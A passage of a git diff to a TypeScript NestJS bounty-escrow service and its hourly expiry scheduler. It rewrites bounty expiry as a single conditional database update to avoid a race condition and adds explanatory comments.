-    bounty.paidAt = new Date();
-    const paid = await this.bountyRepo.save(bounty);
-    this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT);
-    return paid;
-  }
-
-  /** Sponsor (or admin/expiry job) reclaims escrowed funds. */
-  /**
-   * Refunds a bounty to its funder. Allowed for the bounty's sponsor and for
-   * the maintainer of the repository the bounty's issue belongs to, e.g. to
-   * unwind an abandoned bounty (#545). The route admits SPONSOR and
-   * MAINTAINER, but a maintainer of some *other* repository is still
-   * rejected. Safe to open up: escrow refunds always pay the original funder,
-   * never the caller.
-   */
-  async refund(id: string, callerUserId: string): Promise<Bounty> {
-    const bounty = await this.bountyRepo.findOne({
-      where: { id },
-      relations: { issue: { repository: true } },
-    });
-    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
-
-    const isSponsor = bounty.sponsorId === callerUserId;
-    const isRepoMaintainer =
-      !!bounty.issue?.repository?.maintainerId &&
-      bounty.issue.repository.maintainerId === callerUserId;
-    if (!isSponsor && !isRepoMaintainer) {
-      throw new ForbiddenException(
-        "Only the bounty sponsor or the repository's maintainer can refund this bounty",
-      );
-    }
-
-    assertTransition(bounty.status, BountyStatus.REFUNDED);
-
-    if (bounty.escrowId) {
-      await this.escrowService.refund(bounty.escrowId);
-    }
-
-    bounty.status = BountyStatus.REFUNDED;
-    return this.bountyRepo.save(bounty);
-  }
-
-  /** Marks bounties whose deadline has passed and that were never merged as expired. */
-  async expireOverdue(): Promise<number> {
-    const overdue = await this.bountyRepo
-      .createQueryBuilder('bounty')
-      .where('bounty.deadline IS NOT NULL AND bounty.deadline < :now', {
-        now: new Date(),
-      })
-      .andWhere('bounty.status IN (:...statuses)', {
-        statuses: [
-          BountyStatus.OPEN,
-          BountyStatus.FUNDED,
-          BountyStatus.CLAIMED,
-        ],
-      })
-      .getMany();
-
-    for (const bounty of overdue) {
-      bounty.status = BountyStatus.EXPIRED;
-      await this.bountyRepo.save(bounty);
-    }
-    return overdue.length;
-  }
-
-  async list(options: ListBountiesOptions = {}): Promise<Bounty[]> {
-    const qb = this.bountyRepo
-      .createQueryBuilder('bounty')
-      .leftJoinAndSelect('bounty.issue', 'issue')
-      .leftJoinAndSelect('issue.repository', 'repository')
-      .leftJoinAndSelect('bounty.claimedBy', 'claimedBy')
-      .leftJoinAndSelect('bounty.team', 'team')
-      .leftJoinAndSelect('team.splits', 'splits');
-
-    if (options.status) {
-      qb.andWhere('bounty.status = :status', { status: options.status });
-    }
-    if (options.difficulty) {
-      qb.andWhere('bounty.difficulty = :difficulty', {
-        difficulty: options.difficulty,
-      });
-    }
-    if (options.asset) {
-      qb.andWhere('bounty.asset = :asset', { asset: options.asset });
-    }
-    if (options.repositoryId) {
-      qb.andWhere('issue.repositoryId = :repositoryId', {
-        repositoryId: options.repositoryId,
-      });
-    }
-    if (options.primaryLanguage) {
-      qb.andWhere('repository.primaryLanguage = :primaryLanguage', {
-        primaryLanguage: options.primaryLanguage,
-      });
-    }
-
-    return qb.getMany();
-  }
-
-  /**
-   * Not implemented yet (#253, #533). This used to resolve
-   * `{ id, status: 'approved' }` without reading or writing anything, so the
-   * route reported success for an approval that never happened. It now
-   * answers 501 until the real approval flow exists.
-   */
-  approve(id: string): Promise<never> {
-    return Promise.reject(
-      new NotImplementedException(
-        `Bounty approval is not implemented yet (bounty ${id})`,
-      ),
-    );
-  }
-
-  /** Not implemented yet (#253, #533) — see `approve`. */
-  reject(id: string): Promise<never> {
-    return Promise.reject(
-      new NotImplementedException(
-        `Bounty rejection is not implemented yet (bounty ${id})`,
-      ),
-    );
-  }
-}
+import {
+  BadRequestException,
+  ForbiddenException,
+  Injectable,
+  NotFoundException,
+  NotImplementedException,
+  Optional,
+} from '@nestjs/common';
+import { EventEmitter2 } from '@nestjs/event-emitter';
+import { InjectRepository } from '@nestjs/typeorm';
+import { In, Repository } from 'typeorm';
+import { Bounty, Issue, Team, User } from '../common/entities';
+import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums';
+import { ANALYTICS_PLATFORM_INVALIDATE_EVENT } from '../analytics/analytics.events';
+import { assertTransition } from './bounty-state-machine';
+import { EscrowService } from '../escrow/escrow.service';
+import { CreateBountyDto } from './dto/create-bounty.dto';
+
+export interface ListBountiesOptions {
+  status?: BountyStatus;
+  difficulty?: BountyDifficulty;
+  asset?: AssetType;
+  repositoryId?: string;
+  primaryLanguage?: string;
+}
+
+@Injectable()
+export class BountiesService {
+  constructor(
+    @InjectRepository(Bounty) private readonly bountyRepo: Repository<Bounty>,
+    @InjectRepository(User) private readonly userRepo: Repository<User>,
+    @InjectRepository(Team) private readonly teamRepo: Repository<Team>,
+    @InjectRepository(Issue) private readonly issueRepo: Repository<Issue>,
+    private readonly escrowService: EscrowService,
+    @Optional() private readonly eventEmitter?: EventEmitter2,
+  ) {}
+
+  async create(dto: CreateBountyDto, callerUserId: string): Promise<Bounty> {
+    // Verify issueId exists
+    const issueExists = await this.issueRepo.findOne({
+      where: { id: dto.issueId },
+    });
+    if (!issueExists) {
+      throw new NotFoundException(`Issue ${dto.issueId} not found`);
+    }
+
+    // Verify sponsorId exists
+    const sponsorExists = await this.userRepo.findOne({
+      where: { id: dto.sponsorId },
+    });
+    if (!sponsorExists) {
+      throw new NotFoundException(`Sponsor ${dto.sponsorId} not found`);
+    }
+
+    const bounty = this.bountyRepo.create({
+      issueId: dto.issueId,
+      sponsorId: dto.sponsorId,
+      amount: dto.amount,
+      asset: dto.asset,
+      difficulty: dto.difficulty,
+      deadline: dto.deadline ? new Date(dto.deadline) : null,
+      status: BountyStatus.OPEN,
+    });
+    const saved = await this.bountyRepo.save(bounty);
+    this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT);
+    return saved;
+  }
+
+  async findOne(id: string): Promise<Bounty> {
+    const bounty = await this.bountyRepo.findOne({
+      where: { id },
+      relations: {
+        issue: { repository: true },
+        claimedBy: true,
+        team: { splits: true },
+      },
+    });
+    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
+    return bounty;
+  }
+
+  /** Sponsor funds the bounty: locks the amount in the escrow contract and moves OPEN -> FUNDED. */
+  async fund(
+    id: string,
+    funderAddress: string,
+    callerUserId: string,
+  ): Promise<Bounty> {
+    const bounty = await this.bountyRepo.findOne({
+      where: { id },
+      relations: { issue: true },
+    });
+    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
+
+    // Verify caller is the sponsor (or admin - admin role checked by guard)
+    if (bounty.sponsorId !== callerUserId) {
+      throw new ForbiddenException(
+        'Only the bounty sponsor can fund this bounty',
+      );
+    }
+
+    assertTransition(bounty.status, BountyStatus.FUNDED);
+
+    const escrow = await this.escrowService.fund({
+      amount: bounty.amount,
+      asset: bounty.asset,
+      funderAddress,
+      bountyId: bounty.id,
+      sponsorId: bounty.sponsorId,
+      // The on-chain escrow contract is keyed by the GitHub issue id (#158).
+      onChainIssueId: bounty.issue?.githubIssueId ?? null,
+      deadline: bounty.deadline,
+    });
+
+    bounty.escrow = escrow;
+    bounty.escrowId = escrow.id;
+    bounty.status = BountyStatus.FUNDED;
+    return this.bountyRepo.save(bounty);
+  }
+
+  /** Contributor claims a funded bounty. */
+  async claim(id: string, callerUserId: string): Promise<Bounty> {
+    const bounty = await this.findOne(id);
+    assertTransition(bounty.status, BountyStatus.CLAIMED);
+
+    // The claimant is always the authenticated caller (#469); never a client-supplied id.
+    const contributor = await this.userRepo.findOne({
+      where: { id: callerUserId },
+    });
+    if (!contributor) {
+      throw new BadRequestException(
+        `Contributor ${callerUserId} does not correspond to a known user`,
+      );
+    }
+    if (!contributor.stellarAddress) {
+      throw new BadRequestException(
+        `Contributor ${callerUserId} has no linked Stellar address`,
+      );
+    }
+
+    bounty.claimedById = callerUserId;
+    bounty.status = BountyStatus.CLAIMED;
+    bounty.claimedAt = new Date();
+    return this.bountyRepo.save(bounty);
+  }
+
+  /** A PR referencing the issue was opened. */
+  async markInReview(
+    id: string,
+    prUrl: string,
+    prNumber: number,
+  ): Promise<Bounty> {
+    const bounty = await this.findOne(id);
+    assertTransition(bounty.status, BountyStatus.IN_REVIEW);
+
+    bounty.status = BountyStatus.IN_REVIEW;
+    bounty.prUrl = prUrl;
+    bounty.prNumber = prNumber;
+    return this.bountyRepo.save(bounty);
+  }
+
+  /** The linked PR was closed without merging — move bounty back to CLAIMED. */
+  async markPrClosedWithoutMerge(id: string): Promise<Bounty> {
+    const bounty = await this.findOne(id);
+    assertTransition(bounty.status, BountyStatus.CLAIMED);
+
+    bounty.status = BountyStatus.CLAIMED;
+    bounty.prUrl = null;
+    bounty.prNumber = null;
+    return this.bountyRepo.save(bounty);
+  }
+
+  /**
+   * The linked PR was merged on GitHub. Transitions to MERGED and immediately
+   * triggers the escrow release (single recipient or team split), moving to
+   * PAID once the on-chain release call succeeds.
+   */
+  async markMergedAndRelease(id: string): Promise<Bounty> {
+    const bounty = await this.findOne(id);
+    assertTransition(bounty.status, BountyStatus.MERGED);
+
+    const previousStatus = bounty.status;
+    bounty.status = BountyStatus.MERGED;
+    bounty.mergedAt = new Date();
+    await this.bountyRepo.save(bounty);
+
+    if (!bounty.escrowId) {
+      // No escrow was ever funded (e.g. informally tracked bounty) — nothing to release.
+      return bounty;
+    }
+
+    try {
+      if (bounty.teamId) {
+        const team = await this.teamRepo.findOne({
+          where: { id: bounty.teamId },
+          relations: { splits: true },
+        });
+        if (team && team.splits.length > 0) {
+          const userIds = team.splits.map((s) => s.userId);
+          const users = await this.userRepo.find({
+            where: { id: In(userIds) },
+          });
+          const userMap = new Map(users.map((u) => [u.id, u]));
+          const recipients = team.splits.map((split) => {
+            const user = userMap.get(split.userId);
+            return {
+              recipientId: split.userId,
+              recipientAddress: user?.stellarAddress ?? '',
+              percentage: Number(split.percentage),
+            };
+          });
+          await this.escrowService.splitRelease(bounty.escrowId, recipients);
+        }
+      } else if (bounty.claimedById) {
+        const contributor = await this.userRepo.findOne({
+          where: { id: bounty.claimedById },
+        });
+        await this.escrowService.release(
+          bounty.escrowId,
+          contributor?.stellarAddress ?? '',
+          bounty.claimedById,
+        );
+      }
+    } catch (err) {
+      // Escrow release failed — transition to RELEASE_FAILED so the bounty
+      // is not permanently stuck. A retry via markMergedAndRelease is
+      // possible because the state machine allows RELEASE_FAILED -> MERGED.
+      assertTransition(bounty.status, BountyStatus.RELEASE_FAILED);
+      bounty.status = BountyStatus.RELEASE_FAILED;
+      await this.bountyRepo.save(bounty);
+      throw err;
+    }
+
+    assertTransition(bounty.status, BountyStatus.PAID);
+    bounty.status = BountyStatus.PAID;
+    bounty.paidAt = new Date();
+    const paid = await this.bountyRepo.save(bounty);
+    this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT);
+    return paid;
+  }
+
+  /** Sponsor (or admin/expiry job) reclaims escrowed funds. */
+  /**
+   * Refunds a bounty to its funder. Allowed for the bounty's sponsor and for
+   * the maintainer of the repository the bounty's issue belongs to, e.g. to
+   * unwind an abandoned bounty (#545). The route admits SPONSOR and
+   * MAINTAINER, but a maintainer of some *other* repository is still
+   * rejected. Safe to open up: escrow refunds always pay the original funder,
+   * never the caller.
+   */
+  async refund(id: string, callerUserId: string): Promise<Bounty> {
+    const bounty = await this.bountyRepo.findOne({
+      where: { id },
+      relations: { issue: { repository: true } },
+    });
+    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
+
+    const isSponsor = bounty.sponsorId === callerUserId;
+    const isRepoMaintainer =
+      !!bounty.issue?.repository?.maintainerId &&
+      bounty.issue.repository.maintainerId === callerUserId;
+    if (!isSponsor && !isRepoMaintainer) {
+      throw new ForbiddenException(
+        "Only the bounty sponsor or the repository's maintainer can refund this bounty",
+      );
+    }
+
+    assertTransition(bounty.status, BountyStatus.REFUNDED);
+
+    if (bounty.escrowId) {
+      await this.escrowService.refund(bounty.escrowId);
+    }
+
+    bounty.status = BountyStatus.REFUNDED;
+    return this.bountyRepo.save(bounty);
+  }
+
+  /**
+   * Marks bounties whose deadline has passed and that were never merged as
+   * expired. The status filter and the write are a single conditional UPDATE,
+   * so a bounty advanced concurrently (e.g. CLAIMED -> IN_REVIEW/MERGED/PAID)
+   * is never overwritten with a stale status.
+   */
+  async expireOverdue(): Promise<number> {
+    const expirable: BountyStatus[] = [
+      BountyStatus.OPEN,
+      BountyStatus.FUNDED,
+      BountyStatus.CLAIMED,
+    ];
+    const result = await this.bountyRepo
+      .createQueryBuilder()
+      .update(Bounty)
+      .set({ status: BountyStatus.EXPIRED })
+      .where('deadline IS NOT NULL AND deadline < :now', { now: new Date() })
+      .andWhere('status IN (:...statuses)', { statuses: expirable })
+      .execute();
+    return result.affected ?? 0;
+  }
+
+  async list(options: ListBountiesOptions = {}): Promise<Bounty[]> {
+    const qb = this.bountyRepo
+      .createQueryBuilder('bounty')
+      .leftJoinAndSelect('bounty.issue', 'issue')
+      .leftJoinAndSelect('issue.repository', 'repository')
+      .leftJoinAndSelect('bounty.claimedBy', 'claimedBy')
+      .leftJoinAndSelect('bounty.team', 'team')
+      .leftJoinAndSelect('team.splits', 'splits');
+
+    if (options.status) {
+      qb.andWhere('bounty.status = :status', { status: options.status });
+    }
+    if (options.difficulty) {
+      qb.andWhere('bounty.difficulty = :difficulty', {
+        difficulty: options.difficulty,
+      });
+    }
+    if (options.asset) {
+      qb.andWhere('bounty.asset = :asset', { asset: options.asset });
+    }
+    if (options.repositoryId) {
+      qb.andWhere('issue.repositoryId = :repositoryId', {
+        repositoryId: options.repositoryId,
+      });
+    }
+    if (options.primaryLanguage) {
+      qb.andWhere('repository.primaryLanguage = :primaryLanguage', {
+        primaryLanguage: options.primaryLanguage,
+      });
+    }
+
+    return qb.getMany();
+  }
+
+  /**
+   * Not implemented yet (#253, #533). This used to resolve
+   * `{ id, status: 'approved' }` without reading or writing anything, so the
+   * route reported success for an approval that never happened. It now
+   * answers 501 until the real approval flow exists.
+   */
+  approve(id: string): Promise<never> {
+    return Promise.reject(
+      new NotImplementedException(
+        `Bounty approval is not implemented yet (bounty ${id})`,
+      ),
+    );
+  }
+
+  /** Not implemented yet (#253, #533) — see `approve`. */
+  reject(id: string): Promise<never> {
+    return Promise.reject(
+      new NotImplementedException(
+        `Bounty rejection is not implemented yet (bounty ${id})`,
+      ),
+    );
+  }
+}
diff --git a/src/bounties/bounty-expiry.scheduler.ts b/src/bounties/bounty-expiry.scheduler.ts
index 58b79c91..009dcd78 100644
--- a/src/bounties/bounty-expiry.scheduler.ts
+++ b/src/bounties/bounty-expiry.scheduler.ts
@@ -1,65 +1,70 @@
-import { Injectable, Logger, Optional } from '@nestjs/common';
-import { Cron, CronExpression } from '@nestjs/schedule';
-import { DataSource } from 'typeorm';
-import { BountiesService } from './bounties.service';
-
-/**
- * Runs `BountiesService.expireOverdue()` on a schedule.
- *
- * Without this the deadline sweep is dead code — nothing in the application
- * ever calls it, so a bounty past its deadline keeps its
- * OPEN/FUNDED/CLAIMED status forever (#152). Mirrors the hourly `@Cron`
- * sweep in `IdempotencyCleanupService`.
- *
- * This is deliberately independent of (and runs prior to) any on-chain
- * auto-refund follow-up for expired FUNDED bounties (#26): the local status
- * flip has to happen regardless.
- */
-@Injectable()
-export class BountyExpiryScheduler {
-  private readonly logger = new Logger(BountyExpiryScheduler.name);
-
-  constructor(
-    private readonly bountiesService: BountiesService,
-    @Optional() private readonly dataSource?: DataSource,
-  ) {}
-
-  @Cron(CronExpression.EVERY_HOUR)
-  async sweepOverdueBounties(): Promise<void> {
-    if (process.env.RUN_SCHEDULERS === 'false') {
-      return;
-    }
-
-    const lockId = 847291;
-    let lockAcquired = true;
-    if (this.dataSource?.isInitialized) {
-      try {
-        const res = await this.dataSource.query(
-          'SELECT pg_try_advisory_lock($1) as acquired',
-          [lockId],
-        );
-        lockAcquired = res?.[0]?.acquired ?? true;
-      } catch {
-        lockAcquired = true;
-      }
-    }
-
-    if (!lockAcquired) {
-      this.logger.debug('Skipping sweep: another instance holds advisory lock');
-      return;
-    }
-
-    try {
-      const expired = await this.bountiesService.expireOverdue();
-      if (expired > 0) {
-        this.logger.log(`Expired ${expired} overdue bounty(ies)`);
-      }
-    } finally {
-      if (this.dataSource?.isInitialized && lockAcquired) {
-        await this.dataSource
-          .query('SELECT pg_advisory_unlock($1)', [lockId])
-          .catch(() => {});
-      }
-    }
-  }
-}
+import { Injectable, Logger, Optional } from '@nestjs/common';
+import { Cron, CronExpression } from '@nestjs/schedule';
+import { DataSource } from 'typeorm';
+import { BountiesService } from './bounties.service';
+
+/**
+ * Runs `BountiesService.expireOverdue()` on a schedule.
+ *
+ * Without this the deadline sweep is dead code — nothing in the application
+ * ever calls it, so a bounty past its deadline keeps its
+ * OPEN/FUNDED/CLAIMED status forever (#152). Mirrors the hourly `@Cron`
+ * sweep in `IdempotencyCleanupService`.
+ *
+ * This is deliberately independent of (and runs prior to) any on-chain
+ * auto-refund follow-up for expired FUNDED bounties (#26): the local status
+ * flip has to happen regardless.
+ *
+ * Concurrency note: `expireOverdue()` performs a single conditional UPDATE
+ * that only touches rows still in OPEN/FUNDED/CLAIMED at write time, so a
+ * bounty advanced concurrently by a webhook (e.g. CLAIMED -> IN_REVIEW ->
+ * MERGED/PAID) is never clobbered back to EXPIRED.
+ */
+@Injectable()
+export class BountyExpiryScheduler {
+  private readonly logger = new Logger(BountyExpiryScheduler.name);
+
+  constructor(
+    private readonly bountiesService: BountiesService,
+    @Optional() private readonly dataSource?: DataSource,
+  ) {}
+
+  @Cron(CronExpression.EVERY_HOUR)
+  async sweepOverdueBounties(): Promise<void> {
+    if (process.env.RUN_SCHEDULERS === 'false') {
+      return;
+    }
+
+    const lockId = 847291;
+    let lockAcquired = true;
+    if (this.dataSource?.isInitialized) {
+      try {
+        const res = await this.dataSource.query(
+          'SELECT pg_try_advisory_lock($1) as acquired',
+          [lockId],
+        );
+        lockAcquired = res?.[0]?.acquired ?? true;
+      } catch {
+        lockAcquired = true;
+      }
+    }
+
+    if (!lockAcquired) {
+      this.logger.debug('Skipping sweep: another instance holds advisory lock');
+      return;
+    }
+
+    try {
+      const expired = await this.bountiesService.expireOverdue();
+      if (expired > 0) {
+        this.logger.log(`Expired ${expired} overdue bounty(ies)`);
+      }
+    } finally {
+      if (this.dataSource?.isInitialized && lockAcquired) {
+        await this.dataSource
+          .query('SELECT pg_advisory_unlock($1)', [lockId])
+          .catch(() => {});
+      }
+    }
+  }
+}